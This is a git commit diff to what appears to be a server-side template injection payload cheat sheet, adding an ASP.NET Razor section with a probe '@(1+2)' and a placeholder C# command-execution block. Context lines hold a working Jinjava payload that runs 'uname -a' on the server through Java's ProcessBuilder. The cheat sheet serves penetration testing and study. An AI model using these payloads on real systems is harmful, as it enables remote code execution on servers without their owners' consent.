ASP.NET Razor SSTI

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Swissky 2020-04-18 21:18:22 +02:00
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commit 1d8414c703

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@ -41,6 +41,9 @@
* [Jinjava](#jinjava) * [Jinjava](#jinjava)
* [Basic injection](#basic-injection) * [Basic injection](#basic-injection)
* [Command execution](#command-execution) * [Command execution](#command-execution)
* [ASP.NET Razor](#aspnet-razor)
* [Basic injection](#basic-injection)
* [Command execution](#command-execution)
* [References](#references) * [References](#references)
## Tools ## Tools
@ -418,6 +421,21 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
``` ```
## ASP.NET Razor
### Basic injection
```powershell
@(1+2)
```
### Command execution
```csharp
@{
// C# code
}
```
## References ## References
@ -434,3 +452,4 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
* [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9) * [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf) * [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf)
* [Server Side Template Injection on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/) * [Server Side Template Injection on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/)
* [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)